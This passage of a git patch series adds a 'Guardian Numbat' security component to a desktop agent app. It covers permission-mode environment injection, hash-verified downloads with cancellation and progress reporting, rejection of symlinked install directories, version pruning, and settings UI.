"dont-ask" + ); +} + +fn command_env_value(command: &std::process::Command, key: &str) -> Option { + command.get_envs().find_map(|(candidate, value)| { + (candidate == key).then(|| value.map(|value| value.to_string_lossy().into_owned())) + })? +} + +#[test] +fn spawn_boundary_injects_monitor_when_policy_is_absent() { + let mut command = std::process::Command::new("buzz-acp"); + + super::apply_guardian_permission_env( + &mut command, + crate::managed_agents::readiness::GuardianPermissionPolicy::Monitor, + ); + + assert_eq!( + command_env_value(&command, "BUZZ_ACP_PERMISSION_MODE").as_deref(), + Some("default") + ); +} + +#[test] +fn spawn_boundary_injects_explicit_lockdown_override() { + let mut command = std::process::Command::new("buzz-acp"); + + super::apply_guardian_permission_env( + &mut command, + crate::managed_agents::readiness::GuardianPermissionPolicy::Lockdown, + ); + + assert_eq!( + command_env_value(&command, "BUZZ_ACP_PERMISSION_MODE").as_deref(), + Some("dont-ask") + ); +} diff --git a/desktop/src-tauri/src/managed_agents/spawn_hash.rs b/desktop/src-tauri/src/managed_agents/spawn_hash.rs index 648cc62bbe..f452280a57 100644 --- a/desktop/src-tauri/src/managed_agents/spawn_hash.rs +++ b/desktop/src-tauri/src/managed_agents/spawn_hash.rs @@ -84,6 +84,8 @@ pub(crate) fn spawn_config_hash( command: cmd, args, env: Default::default(), + guardian_policy: + crate::managed_agents::readiness::GuardianPermissionPolicy::Monitor, } }); let runtime_meta = known_acp_runtime(&descriptor.command); @@ -102,6 +104,7 @@ pub(crate) fn spawn_config_hash( // Effective env layering (baked floor → runtime metadata → definition env // → global → persona → agent). BTreeMap iteration is ordered, deterministic. descriptor.env.hash(&mut hasher); + descriptor.guardian_policy.hash(&mut hasher); // Record fields the spawn env writes read directly. The relay is hashed // resolved: every record spawns on the workspace relay (legacy pins diff --git a/desktop/src/features/agents/lib/personaCatalogRelay.test.mjs b/desktop/src/features/agents/lib/personaCatalogRelay.test.mjs index fbaf1f5274..f3727598c0 100644 --- a/desktop/src/features/agents/lib/personaCatalogRelay.test.mjs +++ b/desktop/src/features/agents/lib/personaCatalogRelay.test.mjs @@ -356,7 +356,7 @@ test("test_foreign_entry_with_no_local_copy_stays_unselected", () => { BOB, ); - assert.equal(personas[0].id, "catalog:" + ALICE + ":reviewer"); + assert.equal(personas[0].id, `catalog:${ALICE}:reviewer`); assert.equal(personas[0].isActive, false); }); @@ -377,7 +377,7 @@ test("test_catalog_source_match_is_scoped_to_the_publishing_owner", () => { ALICE, ); - assert.equal(personas[0].id, "catalog:" + BOB + ":reviewer"); + assert.equal(personas[0].id, `catalog:${BOB}:reviewer`); assert.equal(personas[0].isActive, false); }); diff --git a/desktop/src/features/agents/ui/AgentConfigFields.tsx b/desktop/src/features/agents/ui/AgentConfigFields.tsx index 1bd8af8976..df12a84910 100644 --- a/desktop/src/features/agents/ui/AgentConfigFields.tsx +++ b/desktop/src/features/agents/ui/AgentConfigFields.tsx @@ -54,27 +54,26 @@ import { } from "@/features/agents/ui/buzzAgentModelTuningFields"; import { SettingsOptionGroup } from "@/features/settings/ui/SettingsOptionGroup"; import { AdvancedRequiredBadge } from "./AdvancedRequiredBadge"; +import { GuardianPolicyField } from "./GuardianPolicyField"; +import { GUARDIAN_POLICY_ENV } from "./guardianPolicy"; import { getGlobalAgentCredentialState } from "./globalAgentCredentialState"; - export const EMPTY_GLOBAL_CONFIG: GlobalAgentConfig = { env_vars: {}, provider: null, model: null, preferred_runtime: null, }; - /** Baked env keys that route to structured controls, not the generic env editor. */ const BAKED_STRUCTURED_KEYS = new Set([ "BUZZ_AGENT_PROVIDER", "BUZZ_AGENT_MODEL", BUZZ_AGENT_THINKING_EFFORT, + GUARDIAN_POLICY_ENV, ]); - const PROGRESSIVE_FIELDS_TRANSITION = { duration: 0.22, ease: [0.23, 1, 0.32, 1], } as const; - type AgentConfigDisclosure = | "full" | "onboarding-essential" @@ -866,7 +865,11 @@ export function AgentConfigFields({ /> ) : null} - + {showAdvancedFields ? ( + + ) : null} {showAdvancedFields ? (
+ ) : null} +
+ + + ); + })} + {error ? ( +

+ Guardian is temporarily unavailable: {error} +

+ ) : null} + + ); +} diff --git a/desktop/src/features/agents/ui/agentConfigControls.tsx b/desktop/src/features/agents/ui/agentConfigControls.tsx index 1a431d1f91..bf197cd67f 100644 --- a/desktop/src/features/agents/ui/agentConfigControls.tsx +++ b/desktop/src/features/agents/ui/agentConfigControls.tsx @@ -110,6 +110,7 @@ export function AgentConfigTextInput({ } export function AgentDropdownSelect({ + ariaDescribedBy, ariaRequired, className, disabled = false, @@ -125,6 +126,7 @@ export function AgentDropdownSelect({ testId, value, }: { + ariaDescribedBy?: string; ariaRequired?: boolean; className?: string; disabled?: boolean; @@ -172,6 +174,7 @@ export function AgentDropdownSelect({ + + + {!active ? ( + + ) : ( + <> + + + + + )} + + + {error ? ( +

+ {error} +

+ ) : null} + + ); +} diff --git a/desktop/src/features/settings/ui/SettingsPanels.tsx b/desktop/src/features/settings/ui/SettingsPanels.tsx index 5c997efbc4..7f3b883bbd 100644 --- a/desktop/src/features/settings/ui/SettingsPanels.tsx +++ b/desktop/src/features/settings/ui/SettingsPanels.tsx @@ -85,6 +85,7 @@ import { ProfileSettingsCard } from "./ProfileSettingsCard"; import { UpdateChecker } from "../UpdateChecker"; import { SettingsSectionHeader } from "./SettingsSectionHeader"; import { VoiceSettingsCard } from "./VoiceSettingsCard"; +import { GuardianNumbatSettingsCard } from "./GuardianNumbatSettingsCard"; export type SettingsSection = | "profile" @@ -824,6 +825,7 @@ export function renderSettingsSection( return (
+
diff --git a/desktop/src/shared/api/tauriNumbat.ts b/desktop/src/shared/api/tauriNumbat.ts index 0865a93eb5..78cd9708dc 100644 --- a/desktop/src/shared/api/tauriNumbat.ts +++ b/desktop/src/shared/api/tauriNumbat.ts @@ -26,6 +26,40 @@ export type NumbatFindingBatch = { findings: NumbatFinding[]; }; +export type GuardianNumbatStatus = { + state: "not_active" | "active" | "tampered" | "error"; + provenance: "none" | "external_unmanaged" | "buzz_managed"; + version: string | null; + digestSuffix: string | null; + rollbackAvailable: boolean; + target: string; + detail: string; +}; + +export function getGuardianNumbatStatus(): Promise { + return invokeTauri("get_guardian_numbat_status"); +} + +export function activateGuardianNumbat(): Promise { + return invokeTauri("activate_guardian_numbat"); +} + +export function installGuardianNumbat(): Promise { + return invokeTauri("install_guardian_numbat"); +} + +export function deactivateGuardianNumbat(): Promise { + return invokeTauri("deactivate_guardian_numbat"); +} + +export function rollbackGuardianNumbat(): Promise { + return invokeTauri("rollback_guardian_numbat"); +} + +export function uninstallGuardianNumbat(): Promise { + return invokeTauri("uninstall_guardian_numbat"); +} + export function readNumbatFindings( agentPubkey: string, offset: number, diff --git a/scripts/bundle-sidecars.sh b/scripts/bundle-sidecars.sh index 8ea5fe2bbe..04089cdd16 100755 --- a/scripts/bundle-sidecars.sh +++ b/scripts/bundle-sidecars.sh @@ -1,7 +1,7 @@ #!/usr/bin/env bash set -euo pipefail -SIDECARS=(buzz-acp buzz-agent buzz-dev-mcp git-credential-nostr buzz) +SIDECARS=(buzz-acp buzz-agent buzz-dev-mcp git-credential-nostr buzz buzz-guardian-numbat) HOST=$(rustc -vV | sed -n 's|host: ||p') TARGET=${1:-$HOST} if [[ "$TARGET" != *windows* ]]; then @@ -36,6 +36,7 @@ done if [[ ${#missing[@]} -gt 0 ]]; then echo "Error: missing release binaries in $SRC_DIR: ${missing[*]}" >&2 echo "Run '$BUILD_HINT' first." >&2 + echo "Build Guardian with 'cargo build --release --manifest-path desktop/src-tauri/Cargo.toml --bin buzz-guardian-numbat'." >&2 exit 1 fi From fb5fd673f4f218c2eb79dc8c9e1199124c0027cb Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Sun, 2 Aug 2026 15:26:16 -0400 Subject: [PATCH 12/27] fix(guardian): reject symlinked component stores Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- .../src/guardian_distribution/installer.rs | 66 ++++++++++++++++--- 1 file changed, 58 insertions(+), 8 deletions(-) diff --git a/desktop/src-tauri/src/guardian_distribution/installer.rs b/desktop/src-tauri/src/guardian_distribution/installer.rs index 9c44b871ec..98e8d5b303 100644 --- a/desktop/src-tauri/src/guardian_distribution/installer.rs +++ b/desktop/src-tauri/src/guardian_distribution/installer.rs @@ -15,9 +15,7 @@ pub(crate) async fn install_current( ) -> Result<(), String> { let manifest = builtin_manifest()?; let artifact = manifest.artifact_for(std::env::consts::OS, std::env::consts::ARCH)?; - fs::create_dir_all(component_root) - .map_err(|error| format!("create Guardian component store: {error}"))?; - restrict_directory(component_root)?; + create_restricted_directory(component_root, "component store")?; let token = uuid::Uuid::new_v4().simple().to_string(); let archive_path = component_root.join(format!(".download-{token}")); @@ -34,11 +32,14 @@ pub(crate) async fn install_current( activate_receipt(component_root, &receipt_path)?; return Ok(()); } - if let Some(parent) = final_path.parent() { - fs::create_dir_all(parent) - .map_err(|error| format!("create Guardian version store: {error}"))?; - restrict_directory(parent)?; - } + let versions_root = component_root.join("versions"); + create_restricted_directory(&versions_root, "version store")?; + let version_root = versions_root.join(&manifest.version); + create_restricted_directory(&version_root, "version directory")?; + let parent = final_path + .parent() + .ok_or("Guardian target has no version directory")?; + ensure_existing_directory(parent, "version directory")?; let mut archive = create_private_file(&archive_path)?; fetch_verified_artifact_to(artifact, &mut archive).await?; @@ -112,6 +113,31 @@ fn restrict_directory(path: &Path) -> Result<(), String> { Ok(()) } +fn create_restricted_directory(path: &Path, label: &str) -> Result<(), String> { + if path.exists() { + ensure_existing_directory(path, label)?; + } else { + let parent = path + .parent() + .ok_or_else(|| format!("Guardian {label} has no parent directory"))?; + fs::create_dir_all(parent) + .map_err(|error| format!("create Guardian {label} parent: {error}"))?; + ensure_existing_directory(parent, &format!("{label} parent"))?; + fs::create_dir(path).map_err(|error| format!("create Guardian {label}: {error}"))?; + ensure_existing_directory(path, label)?; + } + restrict_directory(path) +} + +fn ensure_existing_directory(path: &Path, label: &str) -> Result<(), String> { + let metadata = + fs::symlink_metadata(path).map_err(|error| format!("inspect Guardian {label}: {error}"))?; + if metadata.file_type().is_symlink() || !metadata.is_dir() { + return Err(format!("Guardian {label} is not a real directory")); + } + Ok(()) +} + fn make_binary_executable(path: &PathBuf) -> Result<(), String> { #[cfg(unix)] { @@ -140,4 +166,28 @@ mod tests { assert!(binary.is_file()); assert!(!root.path().join(".stage-orphan").exists()); } + + #[cfg(unix)] + #[test] + fn managed_store_rejects_symlinked_directories() { + use std::os::unix::fs::symlink; + + let parent = tempfile::tempdir().unwrap(); + let outside = tempfile::tempdir().unwrap(); + let component_root = parent.path().join("components"); + symlink(outside.path(), &component_root).unwrap(); + assert!( + create_restricted_directory(&component_root, "component store") + .unwrap_err() + .contains("not a real directory") + ); + + fs::remove_file(&component_root).unwrap(); + create_restricted_directory(&component_root, "component store").unwrap(); + let versions = component_root.join("versions"); + symlink(outside.path(), &versions).unwrap(); + assert!(create_restricted_directory(&versions, "version store") + .unwrap_err() + .contains("not a real directory")); + } } From a57fa580fb2edde0bed5a535da960b49d5a5e606 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Sun, 2 Aug 2026 15:41:28 -0400 Subject: [PATCH 13/27] feat(guardian): report and cancel installs Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- .../src/guardian_distribution/commands.rs | 59 ++++++++- .../src/guardian_distribution/installer.rs | 32 ++++- .../src/guardian_distribution/verifier.rs | 99 ++++++++++---- desktop/src-tauri/src/lib.rs | 1 + .../ui/GuardianNumbatSettingsCard.tsx | 121 ++++++++++++++++-- desktop/src/shared/api/tauriNumbat.ts | 4 + 6 files changed, 275 insertions(+), 41 deletions(-) diff --git a/desktop/src-tauri/src/guardian_distribution/commands.rs b/desktop/src-tauri/src/guardian_distribution/commands.rs index d07d40b635..92f4cb1319 100644 --- a/desktop/src-tauri/src/guardian_distribution/commands.rs +++ b/desktop/src-tauri/src/guardian_distribution/commands.rs @@ -9,11 +9,20 @@ use crate::managed_agents::managed_agents_base_dir; use serde::Serialize; use std::{ path::{Path, PathBuf}, - sync::OnceLock, + sync::{Mutex, OnceLock}, }; -use tauri::AppHandle; +use tauri::{AppHandle, Emitter}; +use tokio_util::sync::CancellationToken; static LIFECYCLE_LOCK: OnceLock> = OnceLock::new(); +static INSTALL_CANCEL: OnceLock>> = OnceLock::new(); + +#[derive(Clone, Debug, Serialize)] +#[serde(rename_all = "camelCase")] +struct GuardianInstallProgress { + downloaded_bytes: u64, + total_bytes: u64, +} #[derive(Debug, Serialize, PartialEq, Eq)] #[serde(rename_all = "camelCase")] @@ -71,11 +80,51 @@ pub(crate) async fn install_guardian_numbat( let target = current_target(); let root = component_root(&app)?; let previous = active_receipt_path(&root)?; - install_current(&root, &target, env!("CARGO_PKG_VERSION")).await?; + let cancel = CancellationToken::new(); + { + let mut active = install_cancel_slot() + .lock() + .map_err(|_| "Guardian install cancellation state is unavailable")?; + *active = Some(cancel.clone()); + } + let progress_app = app.clone(); + let install_result = install_current( + &root, + &target, + env!("CARGO_PKG_VERSION"), + move |downloaded_bytes, total_bytes| { + let _ = progress_app.emit( + "guardian-numbat-install-progress", + GuardianInstallProgress { + downloaded_bytes, + total_bytes, + }, + ); + }, + &cancel, + ) + .await; + install_cancel_slot() + .lock() + .map_err(|_| "Guardian install cancellation state is unavailable")? + .take(); + install_result?; finish_activation(&app, &root, previous.as_deref())?; Ok(status_from_root(&root, target)) } +#[tauri::command] +pub(crate) fn cancel_guardian_numbat_install() -> Result { + let active = install_cancel_slot() + .lock() + .map_err(|_| "Guardian install cancellation state is unavailable")?; + let Some(cancel) = active.as_ref() else { + return Ok(false); + }; + cancel.cancel(); + Ok(true) +} + #[tauri::command] pub(crate) async fn deactivate_guardian_numbat( app: AppHandle, @@ -131,6 +180,10 @@ fn lifecycle_lock() -> &'static tokio::sync::Mutex<()> { LIFECYCLE_LOCK.get_or_init(|| tokio::sync::Mutex::new(())) } +fn install_cancel_slot() -> &'static Mutex> { + INSTALL_CANCEL.get_or_init(|| Mutex::new(None)) +} + fn active_receipt_path(root: &Path) -> Result, String> { let Some((_, binary)) = load_active_receipt(root)? else { return Ok(None); diff --git a/desktop/src-tauri/src/guardian_distribution/installer.rs b/desktop/src-tauri/src/guardian_distribution/installer.rs index 98e8d5b303..a984ac4a7c 100644 --- a/desktop/src-tauri/src/guardian_distribution/installer.rs +++ b/desktop/src-tauri/src/guardian_distribution/installer.rs @@ -7,11 +7,14 @@ use std::{ fs::{self, File, OpenOptions}, path::{Path, PathBuf}, }; +use tokio_util::sync::CancellationToken; -pub(crate) async fn install_current( +pub(crate) async fn install_current( component_root: &Path, target: &str, buzz_version: &str, + mut progress: F, + cancel: &CancellationToken, ) -> Result<(), String> { let manifest = builtin_manifest()?; let artifact = manifest.artifact_for(std::env::consts::OS, std::env::consts::ARCH)?; @@ -42,7 +45,10 @@ pub(crate) async fn install_current( ensure_existing_directory(parent, "version directory")?; let mut archive = create_private_file(&archive_path)?; - fetch_verified_artifact_to(artifact, &mut archive).await?; + fetch_verified_artifact_to(artifact, &mut archive, &mut progress, cancel).await?; + if cancel.is_cancelled() { + return Err("Guardian installation cancelled".into()); + } archive .sync_all() .map_err(|error| format!("sync Guardian download: {error}"))?; @@ -57,6 +63,7 @@ pub(crate) async fn install_current( &manifest.license, manifest.limits, )?; + ensure_not_cancelled(cancel)?; make_binary_executable(&stage_path.join(&artifact.binary_path))?; let receipt = InstalledReceipt { @@ -75,6 +82,7 @@ pub(crate) async fn install_current( let staged_receipt = stage_path.join("receipt.json"); receipt.write_to(&staged_receipt)?; load_verified_receipt(component_root, &staged_receipt)?; + ensure_not_cancelled(cancel)?; fs::rename(&stage_path, &final_path) .map_err(|error| format!("publish Guardian version atomically: {error}"))?; let published_receipt = final_path.join("receipt.json"); @@ -90,6 +98,14 @@ pub(crate) async fn install_current( result } +fn ensure_not_cancelled(cancel: &CancellationToken) -> Result<(), String> { + if cancel.is_cancelled() { + Err("Guardian installation cancelled".into()) + } else { + Ok(()) + } +} + fn create_private_file(path: &Path) -> Result { let mut options = OpenOptions::new(); options.write(true).create_new(true); @@ -157,9 +173,15 @@ mod tests { #[ignore = "downloads the pinned upstream release artifact"] async fn real_release_installs_verifies_and_activates_atomically() { let root = tempfile::tempdir().unwrap(); - install_current(root.path(), "integration-target", "test") - .await - .unwrap(); + install_current( + root.path(), + "integration-target", + "test", + |_, _| {}, + &CancellationToken::new(), + ) + .await + .unwrap(); let (receipt, binary) = load_active_receipt(root.path()).unwrap().unwrap(); assert_eq!(receipt.version, "0.1.2"); assert_eq!(receipt.target, "integration-target"); diff --git a/desktop/src-tauri/src/guardian_distribution/verifier.rs b/desktop/src-tauri/src/guardian_distribution/verifier.rs index f613006057..652cd5c6ec 100644 --- a/desktop/src-tauri/src/guardian_distribution/verifier.rs +++ b/desktop/src-tauri/src/guardian_distribution/verifier.rs @@ -5,12 +5,15 @@ use sha2::{Digest, Sha256}; use std::io::Read; use std::io::Write; use std::time::Duration; +use tokio_util::sync::CancellationToken; const DOWNLOAD_TIMEOUT: Duration = Duration::from_secs(60); -pub(crate) async fn fetch_verified_artifact_to( +pub(crate) async fn fetch_verified_artifact_to( artifact: &Artifact, output: W, + progress: F, + cancel: &CancellationToken, ) -> Result<(), String> { validate_authorized_url(artifact)?; fetch_verified_to( @@ -18,6 +21,8 @@ pub(crate) async fn fetch_verified_artifact_to( output, artifact.archive_size, &artifact.archive_sha256, + progress, + cancel, ) .await } @@ -42,11 +47,13 @@ fn validate_authorized_url(artifact: &Artifact) -> Result<(), String> { Ok(()) } -async fn fetch_verified_to( +async fn fetch_verified_to( url: &str, output: W, expected_size: u64, expected_sha256: &str, + progress: F, + cancel: &CancellationToken, ) -> Result<(), String> { let client = reqwest::Client::builder() .redirect(reqwest::redirect::Policy::custom(|attempt| { @@ -68,11 +75,12 @@ async fn fetch_verified_to( .timeout(DOWNLOAD_TIMEOUT) .build() .map_err(|e| format!("failed to build Guardian download client: {e}"))?; - let response = client - .get(url) - .send() - .await - .map_err(|e| format!("Guardian download failed: {e}"))?; + let response = tokio::select! { + biased; + () = cancel.cancelled() => return Err("Guardian download cancelled".into()), + response = client.get(url).send() => response + .map_err(|e| format!("Guardian download failed: {e}"))?, + }; if !response.status().is_success() { return Err(format!( "Guardian download returned HTTP {}", @@ -85,19 +93,36 @@ async fn fetch_verified_to( { return Err("Guardian download Content-Length mismatch".into()); } - verify_response_stream(response, output, expected_size, expected_sha256).await + verify_response_stream( + response, + output, + expected_size, + expected_sha256, + progress, + cancel, + ) + .await } -async fn verify_response_stream( +async fn verify_response_stream( response: reqwest::Response, mut output: W, expected_size: u64, expected_sha256: &str, + mut progress: F, + cancel: &CancellationToken, ) -> Result<(), String> { let mut stream = response.bytes_stream(); let mut hash = Sha256::new(); let mut total = 0u64; - while let Some(chunk) = stream.next().await { + progress(0, expected_size); + loop { + let chunk = tokio::select! { + biased; + () = cancel.cancelled() => return Err("Guardian download cancelled".into()), + chunk = stream.next() => chunk, + }; + let Some(chunk) = chunk else { break }; let chunk = chunk.map_err(|e| format!("download read failed: {e}"))?; total = total .checked_add(chunk.len() as u64) @@ -109,6 +134,7 @@ async fn verify_response_stream( output .write_all(&chunk) .map_err(|e| format!("staging write failed: {e}"))?; + progress(total, expected_size); } finish_verification(output, hash, total, expected_size, expected_sha256) } @@ -234,6 +260,8 @@ mod tests { &mut output, 7, "f16d05ec6b29248d2c61adb1e9263f78e4f7bace1b955014a2d17872cfe4064d", + |_, _| {}, + &CancellationToken::new(), ) .await .unwrap(); @@ -249,17 +277,44 @@ mod tests { ) .await; let digest = "f16d05ec6b29248d2c61adb1e9263f78e4f7bace1b955014a2d17872cfe4064d"; - assert!( - fetch_verified_to(&format!("{base}/redirect"), Vec::new(), 7, digest) - .await - .unwrap_err() - .contains("redirect") - ); - assert!( - fetch_verified_to(&format!("{base}/wrong-length"), Vec::new(), 7, digest) - .await - .unwrap_err() - .contains("Content-Length") - ); + assert!(fetch_verified_to( + &format!("{base}/redirect"), + Vec::new(), + 7, + digest, + |_, _| {}, + &CancellationToken::new(), + ) + .await + .unwrap_err() + .contains("redirect")); + assert!(fetch_verified_to( + &format!("{base}/wrong-length"), + Vec::new(), + 7, + digest, + |_, _| {}, + &CancellationToken::new(), + ) + .await + .unwrap_err() + .contains("Content-Length")); + } + + #[tokio::test] + async fn cancellation_wins_before_network_or_staging_work() { + let cancel = CancellationToken::new(); + cancel.cancel(); + let error = fetch_verified_to( + "http://127.0.0.1:1/unused", + Vec::new(), + 1, + &"0".repeat(64), + |_, _| panic!("cancelled download must not report progress"), + &cancel, + ) + .await + .unwrap_err(); + assert_eq!(error, "Guardian download cancelled"); } } diff --git a/desktop/src-tauri/src/lib.rs b/desktop/src-tauri/src/lib.rs index 62e3092822..cf00c0e016 100644 --- a/desktop/src-tauri/src/lib.rs +++ b/desktop/src-tauri/src/lib.rs @@ -733,6 +733,7 @@ pub fn run() { read_numbat_findings, guardian_distribution::commands::get_guardian_numbat_status, guardian_distribution::commands::install_guardian_numbat, + guardian_distribution::commands::cancel_guardian_numbat_install, guardian_distribution::commands::activate_guardian_numbat, guardian_distribution::commands::deactivate_guardian_numbat, guardian_distribution::commands::rollback_guardian_numbat, diff --git a/desktop/src/features/settings/ui/GuardianNumbatSettingsCard.tsx b/desktop/src/features/settings/ui/GuardianNumbatSettingsCard.tsx index 2f66b920b9..fa41c4e2bb 100644 --- a/desktop/src/features/settings/ui/GuardianNumbatSettingsCard.tsx +++ b/desktop/src/features/settings/ui/GuardianNumbatSettingsCard.tsx @@ -1,6 +1,8 @@ import * as React from "react"; +import { listen } from "@tauri-apps/api/event"; import { + cancelGuardianNumbatInstall, deactivateGuardianNumbat, getGuardianNumbatStatus, installGuardianNumbat, @@ -21,12 +23,39 @@ const actionLabels: Record = { uninstall: "Uninstall", }; +type InstallProgress = { + downloadedBytes: number; + totalBytes: number; +}; + export function GuardianNumbatSettingsCard() { const [status, setStatus] = React.useState(null); const [busy, setBusy] = React.useState( "loading", ); const [error, setError] = React.useState(null); + const [installProgress, setInstallProgress] = + React.useState(null); + + React.useEffect(() => { + let disposed = false; + let unlisten: (() => void) | null = null; + void listen( + "guardian-numbat-install-progress", + (event) => { + if (!disposed) setInstallProgress(event.payload); + }, + ) + .then((stop) => { + if (disposed) stop(); + else unlisten = stop; + }) + .catch(() => {}); + return () => { + disposed = true; + unlisten?.(); + }; + }, []); const refresh = React.useCallback(async () => { setBusy("loading"); @@ -35,7 +64,9 @@ export function GuardianNumbatSettingsCard() { setStatus(await getGuardianNumbatStatus()); } catch (cause) { setError( - cause instanceof Error ? cause.message : "Guardian status is unavailable.", + cause instanceof Error + ? cause.message + : "Guardian status is unavailable.", ); } finally { setBusy(null); @@ -62,6 +93,7 @@ export function GuardianNumbatSettingsCard() { } setBusy(action); setError(null); + if (action === "install") setInstallProgress(null); try { setStatus(await operation()); } catch (cause) { @@ -73,6 +105,19 @@ export function GuardianNumbatSettingsCard() { setStatus(await getGuardianNumbatStatus().catch(() => status)); } finally { setBusy(null); + if (action === "install") setInstallProgress(null); + } + }; + + const cancelInstall = async () => { + try { + await cancelGuardianNumbatInstall(); + } catch (cause) { + setError( + cause instanceof Error + ? cause.message + : "Guardian could not cancel the installation.", + ); } }; @@ -99,22 +144,72 @@ export function GuardianNumbatSettingsCard() { {status?.version ? (
Version {status.version} · {status.target} - {status.digestSuffix ? ` · SHA-256 …${status.digestSuffix}` : ""} + {status.digestSuffix + ? ` · SHA-256 …${status.digestSuffix}` + : ""}
) : null} - + {busy === "install" && installProgress ? ( + +
+
+ Downloading verified Numbat + + {Math.round( + (installProgress.downloadedBytes / + Math.max(1, installProgress.totalBytes)) * + 100, + )} + % + +
+
+
+
+
+ + ) : null} {!active ? ( - + <> + {busy === "install" ? ( + + ) : null} + + ) : ( <> )} diff --git a/desktop/src/shared/api/tauriNumbat.ts b/desktop/src/shared/api/tauriNumbat.ts index 78cd9708dc..2370d4445b 100644 --- a/desktop/src/shared/api/tauriNumbat.ts +++ b/desktop/src/shared/api/tauriNumbat.ts @@ -48,6 +48,10 @@ export function installGuardianNumbat(): Promise { return invokeTauri("install_guardian_numbat"); } +export function cancelGuardianNumbatInstall(): Promise { + return invokeTauri("cancel_guardian_numbat_install"); +} + export function deactivateGuardianNumbat(): Promise { return invokeTauri("deactivate_guardian_numbat"); } From 7075f2d676d1433ac70b24f6da7900941b26dd62 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Sun, 2 Aug 2026 15:57:00 -0400 Subject: [PATCH 14/27] feat(guardian): retain one verified rollback version Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- .../src/guardian_distribution/activation.rs | 118 ++++++++++++++++++ .../src/guardian_distribution/commands.rs | 7 +- .../src/guardian_distribution/mod.rs | 4 +- 3 files changed, 125 insertions(+), 4 deletions(-) diff --git a/desktop/src-tauri/src/guardian_distribution/activation.rs b/desktop/src-tauri/src/guardian_distribution/activation.rs index ef4611739a..5a1e80d5ee 100644 --- a/desktop/src-tauri/src/guardian_distribution/activation.rs +++ b/desktop/src-tauri/src/guardian_distribution/activation.rs @@ -3,6 +3,7 @@ use crate::managed_agents::storage::atomic_write_json_restricted; use serde::{Deserialize, Serialize}; use sha2::{Digest, Sha256}; use std::{ + collections::HashSet, fs::{self, OpenOptions}, io::{Read, Write}, path::{Component, Path, PathBuf}, @@ -183,6 +184,88 @@ pub(crate) fn rollback_available(component_root: &Path) -> Result load_verified_receipt(component_root, &receipt).map(|_| true) } +pub(crate) fn prune_superseded_versions(component_root: &Path) -> Result { + let Some((active, active_receipt)) = read_active_pointer(component_root)? else { + return Ok(0); + }; + load_verified_receipt(component_root, &active_receipt)?; + + let mut retained = HashSet::from([active_receipt]); + if let Some(previous) = previous_pointer_for_generation(component_root, active.generation)? { + let receipt = component_root.join(safe_relative_path(Path::new(&previous.receipt_path))?); + load_verified_receipt(component_root, &receipt)?; + retained.insert(receipt); + } + + let versions_root = component_root.join("versions"); + if !versions_root.exists() { + return Ok(0); + } + ensure_real_directory(&versions_root, "version store")?; + + let mut removed = 0usize; + for version_entry in read_real_directories(&versions_root, "version")? { + for target_entry in read_real_directories(&version_entry, "target")? { + let receipt = target_entry.join("receipt.json"); + if retained.contains(&receipt) { + continue; + } + load_verified_receipt(component_root, &receipt)?; + fs::remove_dir_all(&target_entry) + .map_err(|error| format!("remove superseded Guardian version: {error}"))?; + removed = removed.saturating_add(1); + } + if fs::read_dir(&version_entry) + .map_err(|error| format!("inspect Guardian version directory: {error}"))? + .next() + .is_none() + { + fs::remove_dir(&version_entry) + .map_err(|error| format!("remove empty Guardian version directory: {error}"))?; + } + } + Ok(removed) +} + +fn previous_pointer_for_generation( + component_root: &Path, + generation: u64, +) -> Result, String> { + Ok(read_journal(component_root)? + .into_iter() + .rev() + .find_map(|entry| match entry { + JournalEntry::Prepared { + generation: prepared_generation, + previous, + .. + } if prepared_generation == generation => previous, + _ => None, + })) +} + +fn read_real_directories(root: &Path, label: &str) -> Result, String> { + let mut directories = Vec::new(); + for entry in + fs::read_dir(root).map_err(|error| format!("read Guardian {label} store: {error}"))? + { + let entry = entry.map_err(|error| format!("read Guardian {label} entry: {error}"))?; + let path = entry.path(); + ensure_real_directory(&path, &format!("{label} entry"))?; + directories.push(path); + } + Ok(directories) +} + +fn ensure_real_directory(path: &Path, label: &str) -> Result<(), String> { + let metadata = + fs::symlink_metadata(path).map_err(|error| format!("inspect Guardian {label}: {error}"))?; + if metadata.file_type().is_symlink() || !metadata.is_dir() { + return Err(format!("Guardian {label} is not a real directory")); + } + Ok(()) +} + pub(crate) fn uninstall_active(component_root: &Path) -> Result { let Some((_, receipt_path)) = read_active_pointer(component_root)? else { return Ok(false); @@ -477,4 +560,39 @@ mod tests { ); assert!(!recover_activation(root.path()).unwrap()); } + + #[test] + fn pruning_keeps_only_active_and_last_known_good_versions() { + let root = tempfile::tempdir().unwrap(); + let first = installed(root.path(), "0.1.0", b"first"); + activate_receipt(root.path(), &first).unwrap(); + let second = installed(root.path(), "0.1.1", b"second"); + activate_receipt(root.path(), &second).unwrap(); + let third = installed(root.path(), "0.1.2", b"third"); + activate_receipt(root.path(), &third).unwrap(); + + assert_eq!(prune_superseded_versions(root.path()).unwrap(), 1); + assert!(!first.parent().unwrap().exists()); + assert!(second.parent().unwrap().exists()); + assert!(third.parent().unwrap().exists()); + assert!(rollback_available(root.path()).unwrap()); + assert_eq!(rollback(root.path()).unwrap().version, "0.1.1"); + } + + #[cfg(unix)] + #[test] + fn pruning_rejects_symlinked_version_entries() { + use std::os::unix::fs::symlink; + + let root = tempfile::tempdir().unwrap(); + let receipt = installed(root.path(), "0.1.2", b"active"); + activate_receipt(root.path(), &receipt).unwrap(); + let outside = tempfile::tempdir().unwrap(); + symlink(outside.path(), root.path().join("versions/0.1.1")).unwrap(); + + assert!(prune_superseded_versions(root.path()) + .unwrap_err() + .contains("not a real directory")); + assert!(outside.path().exists()); + } } diff --git a/desktop/src-tauri/src/guardian_distribution/commands.rs b/desktop/src-tauri/src/guardian_distribution/commands.rs index 92f4cb1319..b8e85cd625 100644 --- a/desktop/src-tauri/src/guardian_distribution/commands.rs +++ b/desktop/src-tauri/src/guardian_distribution/commands.rs @@ -1,6 +1,6 @@ use super::{ - activate_receipt, builtin_manifest, deactivate, install_current, load_active_receipt, rollback, - rollback_available, uninstall_active, + activate_receipt, builtin_manifest, deactivate, install_current, load_active_receipt, + prune_superseded_versions, rollback, rollback_available, uninstall_active, }; use crate::commands::numbat_findings::{ reconcile_managed_numbat_hooks, uninstall_managed_numbat_hooks, @@ -69,6 +69,7 @@ pub(crate) async fn activate_guardian_numbat( } activate_receipt(&root, &receipt_path)?; finish_activation(&app, 